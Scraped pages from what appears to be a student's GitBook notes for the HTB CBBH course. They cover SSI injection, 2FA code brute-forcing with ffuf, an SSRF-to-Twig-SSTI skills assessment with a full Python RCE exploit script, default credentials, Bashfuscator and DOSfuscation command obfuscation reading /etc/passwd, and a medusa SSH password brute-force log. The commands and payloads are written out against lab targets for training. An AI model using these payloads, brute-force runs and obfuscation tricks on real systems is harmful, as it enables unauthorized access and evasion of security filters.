. The use of SSI can often be inferred from the file extension. Typical file extensions include `.shtml`, `.shtm`, and `.stm`. However, web servers can be configured to support SSI directives in arbitrary file extensions. As such, we cannot conclusively conclude whether SSI is used only from the file extension.
* * *
### SSI Directives[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-directives)
SSI utilizes `directives` to add dynamically generated content to a static HTML page. These directives consist of the following components:
* `name`: the directive's name
* `parameter name`: one or more parameters
* `value`: one or more parameter values
An SSI directive has the following syntax:
Code: ssi
Copy
For instance, the following are some common SSI directives.
**printenv**
This directive prints environment variables. It does not take any variables.
Code: ssi
**config**
This directive changes the SSI configuration by specifying corresponding parameters. For instance, it can be used to change the error message using the `errmsg` parameter:
Code: ssi
**echo**
This directive prints the value of any variable given in the `var` parameter. Multiple variables can be printed by specifying multiple `var` parameters. For instance, the following variables are supported:
* `DOCUMENT_NAME`: the current file's name
* `DOCUMENT_URI`: the current file's URI
* `LAST_MODIFIED`: timestamp of the last modification of the current file
* `DATE_LOCAL`: local server time
Code: ssi
**exec**
This directive executes the command given in the `cmd` parameter:
Code: ssi
**include**
This directive includes the file specified in the `virtual` parameter. It only allows for the inclusion of files in the web root directory.
Code: ssi
* * *
### SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-injection)
SSI injection occurs when an attacker can inject SSI directives into a file that is subsequently served by the web server, resulting in the execution of the injected SSI directives. This scenario can occur in a variety of circumstances. For instance, when the web application contains a vulnerable file upload vulnerability that enables an attacker to upload a file containing malicious SSI directives into the web root directory. Additionally, attackers might be able to inject SSI directives if a web application writes user input to a file in the web root directory.
[PreviousSSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection)
[NextExploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection)
Last updated 10 months ago
* [Introduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#introduction-to-ssi-injection)
* [SSI Directives](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-directives)
* [SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-injection)
Copy
Copy
Copy
Copy
Copy
---
# Brute-Forcing 2FA Codes | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes.md)
.
Brute-Forcing 2FA Codes[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-forcing-2fa-codes)
--------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Two-factor authentication (2FA) provides an additional layer of security to protect user accounts from unauthorized access. Typically, this is achieved by combining knowledge-based authentication (password) with ownership-based authentication (the 2FA device). However, 2FA can also be achieved by combining any other two of the major three authentication categories we discussed previously. Therefore, 2FA makes it significantly more difficult for attackers to access an account even if they manage to obtain the user's credentials. By requiring users to provide a second form of authentication, such as a one-time code generated by an authenticator app or sent via SMS, 2FA mitigates the risk of unauthorized access. This extra layer of security significantly enhances the overall security posture of an account, reducing the likelihood of successful account breaches.
* * *
### Attacking Two-Factor Authentication (2FA)[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#attacking-two-factor-authentication-2fa)
One of the most common 2FA implementations relies on the user's password and a time-based one-time password (TOTP) provided to the user's smartphone by an authenticator app or via SMS. These TOTPs typically consist only of digits, making them potentially guessable if the length is insufficient and the web application does not implement measures against successive submission of incorrect TOTPs. For our lab, we will assume that we obtained valid credentials in a prior phishing attack: `admin:admin`. However, the web application is secured with 2FA, as we can see after logging in with the obtained credentials:
arrow-circle-left redo home

The message in the web application shows that the TOTP is a 4-digit code. Since there are only `10,000` possible variations, we can easily try all possible codes. To achieve this, let us first take a look at the corresponding request to prepare our parameters for `ffuf`:

HTTP request and response. Request: POST to /2fa.php with OTP "0000". Response: "Invalid 2FA Code."
As we can see, the TOTP is passed in the `otp` POST parameter. Furthermore, we need to specify our session token in the `PHPSESSID` cookie to associate the TOTP with our authenticated session. Just like in the previous section, we can generate a wordlist containing all 4-digit numbers from `0000` to `9999` like so:
Brute-Forcing 2FA Codes
Afterward, we can use the following command to brute-force the correct TOTP by filtering out responses containing the `Invalid 2FA Code` error message:
Brute-Forcing 2FA Codes
As we can see, we get many hits. That is because our session successfully passed the 2FA check after we had supplied the correct TOTP. Since `6513` was the first hit, we can assume this was the correct TOTP. Afterward, our session is marked as fully authenticated, so all requests using our session cookie are redirected to `/admin.php`. To access the protected page, we can simply access the endpoint `/admin.php` in the web browser and see that we successfully passed 2FA.
Targe: 83.136.255.235:39075
Authenticate to 83.136.255.235:39075 with user "admin" and password "admin"
#### Brute-force the admin user's 2FA code on the target system to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-force-the-admin-users-2fa-code-on-the-target-system-to-obtain-the-flag)
So we can visit the target and login with the provided credentials. Then it iwll take you to this page

I just submitted nothing for the code hence the error code. The capture in burp looked like this

So using the same tokens.txt from before, (generated by )
and the cookie phpsessID I was able to run
Looks successful, as we get many hits, so Now we can visit the
[http://83.136.255.235:39075/admin.php83.136.255.235](http://83.136.255.235:39075/admin.php)
And get the flag

A: HTB{9837b33a1ef678c380addf7ef8a517de}
[PreviousBrute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens)
[NextWeak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection)
Last updated 9 months ago
* [Brute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-forcing-2fa-codes)
* [Attacking Two-Factor Authentication (2FA)](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#attacking-two-factor-authentication-2fa)
Copy
Code4Christ@htb[/htb]$ seq -w 0 9999 > tokens.txt
Copy
Code4Christ@htb[/htb]$ ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms]
* FUZZ: 6513
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms]
* FUZZ: 6514
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
* FUZZ: 9999
Copy
┌──(kali㉿kali)-[~]
└─$ seq -w 0 9999 > tokens.txt
Copy
┌──(kali㉿kali)-[~]
└─$ ffuf -w ./tokens.txt -u http://83.136.255.235:39075/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=0frvkremdi2850re9kjgh49kgs" -d "otp=FUZZ" -fr "Invalid 2FA Code"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://83.136.255.235:39075/2fa.php
:: Wordlist : FUZZ: /home/kali/tokens.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: PHPSESSID=0frvkremdi2850re9kjgh49kgs
:: Data : otp=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid 2FA Code
________________________________________________
4723 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 125ms]
4725 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
4726 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 134ms]
4727 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms]
4728 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms]
4729 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
4730 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms]
4731 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
4733 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 131ms]
---
# Skills Assessment | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment.md)
.
I decided to go in logical order of the sections and start testing for SSRF, if we capture the first GET request with burp, we see that next comes a POST request to an API:

I tried to set up a netcat listener to get a connection over port 8000, but repeater and my terminal would time out each time I tried. I also tried a few other ports. I most likely did something wrong, but my next step thankfully worked!
I tried to call the application to itself by including _127.0.0.1/index.php_ as the IP to see if I got the html source code back.

This worked which confirms that the supposed SSRF is not blind! My next step was to enumerate the API to find which ports or directories might be available. I did this via ffuf.
First I made a ports.txt
FFUF initial command with the port.txt
Nothing meaningful on those two ports, so continued to look around at the request in burp
You should be able to look at the post request and highlight the %3D part and see that it means '='

So I decided to see if we can inject some SSTI payloads to confirm if a template was being used.

As we can see the test string does inject into the second element of the json object! We can keep following the chart and find that we have confirmed SSTI injection by outputting 49 with the next string down the line. Following the green lines we see that we are dealing with a Twig template.

LFI did not work

But appears RCE is working

for some reason I kept getting an error when I used %20 for enumerating.
All I had to do now was read out the flag…this was tricky since every time I tried to url-encode the space character (%20), it threw me a bad url error. After trying a few things, I realized that if only url encoding was present it might be possible to use other types of encoding for these characters, which lead me to trying to use the hexadecimal representation of a space…and that worked!! I was able to read out the flag and solve the assessment!
Enumerated a couple of times to find the flag

Now I can cat the flag, and get the answer

### Automated Exploit[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment#automated-exploit)
Results
Answer: HTB{3b8e2b940775e0267ce39d7c80488fc8}
[PreviousPreventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection)
[NextRewalk](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk)
Last updated 10 months ago
Copy
$ seq 1 10000 > ports.txt
Copy
┌─[us-academy-3]─[10.10.14.252]─[htb-ac-1067736@htb-iju5mnenvg]─[~]
└──╼ [★]$ ffuf -w /home/htb-ac-1067736/ports.txt -u http://94.237.55.43:34620/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "api=http://127.0.0.1:FUZZ/?id%3DFusionExpress01" -fr "Failed to connect to"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://94.237.55.43:34620/index.php
:: Wordlist : FUZZ: /home/htb-ac-1067736/ports.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : api=http://127.0.0.1:FUZZ/?id%3DFusionExpress01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Failed to connect to
________________________________________________
80 [Status: 200, Size: 4194, Words: 278, Lines: 126, Duration: 4456ms]
3306 [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 151ms]
:: Progress: [10000/10000] :: Job [1/1] :: 264 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
Copy
"""
---------------------------
Exploit SSRF+SSTI Vulnerability | HTB Skills Assesment
---------------------------
1. Obtain the flag.
"""
# Import Request to send web request to the internet
import requests
import sys
from urllib.parse import quote_plus, quote
# Module to display output in different colors.
from colorama import Fore, Back, Style
"""
Disable the display of certificate warnings when requests
are made to websites using insecure certificates. This can
be useful in scenarios where targeted web applications use
self-signed certificates as is the case in the AWAE labs.
"""
requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def main():
"""
Main entry point:
- validate CLI args
- build request info
- simulate (or actually perform) the request
- format and print the response blocks
"""
# If the script is ran without specify the target
# if len(sys.argv) != 2:
# print(f"In CLI, Usage should be: {sys.argv[0]} target")
# print(f"Example: {sys.argv[0]} 10.0.0.1")
# print(f"Example: {sys.argv[0]} manageengine")
# sys.exit(1)
# Obtain target from CLI
target = sys.argv[1].strip().rstrip('/') # from CLI202
#target = '94.237.57.211:43621' # hardcoded for testing
# ============================ URL of TARGET ============================ #
# send to index.php with `name` query parameter
url = f"http://{target}/index.php"
# ============================ Exploit SSTI ============================ #
payload = "http://truckapi.htb/?id={{['cat+../../../../flag.txt']|filter('system')}}"
# ============================ Params of Request ============================ #
# exact XSL payload:
params = {
'api': payload,
}
# ============================ Initiate the Request to READ File Into a Table ============================ #
try:
# WARNING: verify=False disables TLS certificate verification.
# use params= so the payload is put in the query string (GET /index.php?name=...)
r = requests.post(url, data=params, verify=False, timeout=10)
except requests.RequestException as e:
print(f"Request failed: {e}")
sys.exit(2)
# ============================ FORMAT OUTPUT ============================ #
print("\n======= Johnny Custom Exploit Development =======\n")
print(format_text("REQUEST METHOD:", r.request.method))
print(format_text("REQUEST URL:", r.request.url))
print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers))
print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body
print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code))
print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies))
print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text)))
print(format_text("RESPONSE (first 300 chars):\n", r.text))
def format_text(title,item):
"""
Helper to create a nicely formatted console output block.
- title: short label for the section (e.g. "r.status_code is:")
- item: item to display (will be stringified)
Returns a string that contains the title, a separator, the item, and a short marker.
"""
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t'
return text
if __name__ == "__main__":
main()
Copy
// Some code
(venv) $ python3 skills_assesment.py 94.237.55.43:53282
======= Johnny Custom Exploit Development =======
REQUEST METHOD:
********************
POST
********************
REQUEST URL:
********************
http://94.237.55.43:53282/index.php
********************
REQUEST HEADERS | r.headers is: :
********************
{'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '125', 'Content-Type': 'application/x-www-form-urlencoded'}
********************
REQUEST BODY (raw):
********************
api=http%3A%2F%2Ftruckapi.htb%2F%3Fid%3D%7B%7B%5B%27cat%2B..%2F..%2F..%2F..%2Fflag.txt%27%5D%7Cfilter%28%27system%27%29%7D%7D
********************
RESPONSE STATUS | r.status_code is:
********************
200
********************
RESPONSE COOKIES | r.cookies is:
********************
********************
RESPONSE CONTENT-LENGTH:
********************
83
********************
RESPONSE (first 300 chars):
********************
{"id": "HTB{3b8e2b940775e0267ce39d7c80488fc8}Array", "location": "134 Main Street"}
********************
---
# Default Credentials | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials.md)
.
* * *
Many web applications are set up with default credentials to allow accessing it after installation. However, these credentials need to be changed after the initial setup of the web application; otherwise, they provide an easy way for attackers to obtain authenticated access. As such, [Testing for Default Credentials](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)
is an essential part of authentication testing in OWASP's Web Application Security Testing Guide. According to OWASP, common default credentials include `admin` and `password`.
* * *
### Testing Default Credentials[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials#testing-default-credentials)
Many platforms provide lists of default credentials for a wide variety of web applications. Such an example is the web database maintained by [CIRT.net](https://www.cirt.net/passwords)
. For instance, if we identified a Cisco device during a penetration test, we can search the database for default credentials for Cisco devices:
arrow-circle-left redo home

Further resources include [SecLists Default Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials)
as well as the [SCADA](https://github.com/scadastrangelove/SCADAPASS/tree/master)
GitHub repository which contains a list of default passwords for a variety of different vendors.
A targeted internet search is a different way of obtaining default credentials for a web application. Let us assume we stumble across a [BookStack](https://github.com/BookStackApp/BookStack)
web application during an engagement:
arrow-circle-left redo home

We can try to search for default credentials by searching something like `bookstack default credentials`:
arrow-circle-left redo home

As we can see, the results contain the installation instructions for BookStack, which state that the default admin credentials are `admin@admin.com:password`.
[PreviousPassword Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks)
[NextVulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset)
Last updated 9 months ago
---
# Evasion Tools | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools.md)
.
Evasion Tools[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#evasion-tools)
------------------------------------------------------------------------------------------------------------------------
* * *
If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss a couple of examples of these types of tools, one for `Linux` and another for `Windows.`
* * *
### Linux (Bashfuscator)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#linux-bashfuscator)
A handy tool we can utilize for obfuscating bash commands is [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator)
. We can clone the repository from GitHub and then install its requirements, as follows:
Evasion Tools
Copy
Code4Christ@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
Code4Christ@htb[/htb]$ cd Bashfuscator
Code4Christ@htb[/htb]$ pip3 install setuptools==65
Code4Christ@htb[/htb]$ python3 setup.py install --user
Once we have the tool set up, we can start using it from the `./bashfuscator/bin/` directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the `-h` help menu:
Evasion Tools
Copy
Code4Christ@htb[/htb]$ cd ./bashfuscator/bin/
Code4Christ@htb[/htb]$ ./bashfuscator -h
usage: bashfuscator [-h] [-l] ...SNIP...
optional arguments:
-h, --help show this help message and exit
Program Options:
-l, --list List all the available obfuscators, compressors, and encoders
-c COMMAND, --command COMMAND
Command to obfuscate
...SNIP...
We can start by simply providing the command we want to obfuscate with the `-c` flag:
Evasion Tools
However, running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters! So, we can use some of the flags from the help menu to produce a shorter and simpler obfuscated command, as follows:
Evasion Tools
We can now test the outputted command with `bash -c ''`, to see whether it does execute the intended command:
Evasion Tools
We can see that the obfuscated command works, all while looking completely obfuscated, and does not resemble our original command. We may also notice that the tool utilizes many obfuscation techniques, including the ones we previously discussed and many others.
Exercise: Try testing the above command with our web application, to see if it can successfully bypass the filters. If it does not, can you guess why? And can you make the tool produce a working payload?
* * *
### Windows (DOSfuscation)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#windows-dosfuscation)
There is also a very similar tool that we can use for Windows called [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
. Unlike `Bashfuscator`, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows:
Evasion Tools
We can even use `tutorial` to see an example of how the tool works. Once we are set, we can start using the tool, as follows:
Evasion Tools
Finally, we can try running the obfuscated command on `CMD`, and we see that it indeed works as expected:
Evasion Tools
Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through `pwsh`. Run `pwsh`, and then follow the exact same command from above. This tool is installed by default in your \`Pwnbox\` instance. You can also find installation instructions at this [link](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux)
.
For more on advanced obfuscation methods, you may refer to the [Secure Coding 101: JavaScript](https://academy.hackthebox.com/course/preview/secure-coding-101-javascript)
module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module.
[PreviousAdvanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation)
[NextPrevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention)
Last updated 1 year ago
* [Evasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#evasion-tools)
* [Linux (Bashfuscator)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#linux-bashfuscator)
* [Windows (DOSfuscation)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#windows-dosfuscation)
Copy
Code4Christ@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~} \
[+] Payload size: 1664 characters\
\
Copy\
\
Code4Christ@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1\
\
[+] Mutators used: Token/ForCode\
[+] Payload:\
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"\
[+] Payload size: 104 characters\
\
Copy\
\
Code4Christ@htb[/htb]$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'\
\
root:x:0:0:root:/root:/bin/bash\
...SNIP...\
\
Copy\
\
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git\
PS C:\htb> cd Invoke-DOSfuscation\
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1\
PS C:\htb> Invoke-DOSfuscation\
Invoke-DOSfuscation> help\
\
HELP MENU :: Available options shown below:\
[*] Tutorial of how to use this tool TUTORIAL\
...SNIP...\
\
Choose one of the below options:\
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe\
[*] ENCODING Environment variable encoding\
[*] PAYLOAD Obfuscated payload via DOSfuscation\
\
Copy\
\
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt\
Invoke-DOSfuscation> encoding\
Invoke-DOSfuscation\Encoding> 1\
\
...SNIP...\
Result:\
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt\
\
Copy\
\
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt\
\
test_flag
---
# Skills Assessment 2 | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2.md)
.
* * *
This is the second part of the skills assessment. `YOU NEED TO COMPLETE THE FIRST PART BEFORE STARTING THIS`. Use the username you were given when you completed part 1 of the skills assessment to brute force the login on the target instance.
LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#lab)
--------------------------------------------------------------------------------------------
### What is the username of the ftp user you find via brute-forcing?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing)
Need to retrieve account password for satwossh user, will first start by hitting it with a brute force attack using medusa and the ssh protocol. Using 2023 most used passwords from the module and cheat sheet
Copy
// Some code
┌──(kali㉿kali)-[~/cbbh/bruteforce]
└─$ medusa -h 94.237.63.24 -n 34189 -u satwossh -P 2023-200_most_used_passwords.txt -M ssh -t 3
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456 (1 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin (2 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678 (3 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789 (4 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234 (5 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345 (6 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: password (7 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123 (8 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa123456 (9 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: UNKNOWN (10 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234567890 (11 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234567 (12 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123123 (13 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 111111 (14 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password (15 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678910 (16 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 000000 (17 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin123 (18 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: user (19 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ******** (20 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1111 (21 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: P@ssw0rd (22 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: root (23 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 654321 (24 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwerty (25 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ****** (26 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Pass@123 (27 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 112233 (28 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 102030 (29 of 200 complete)
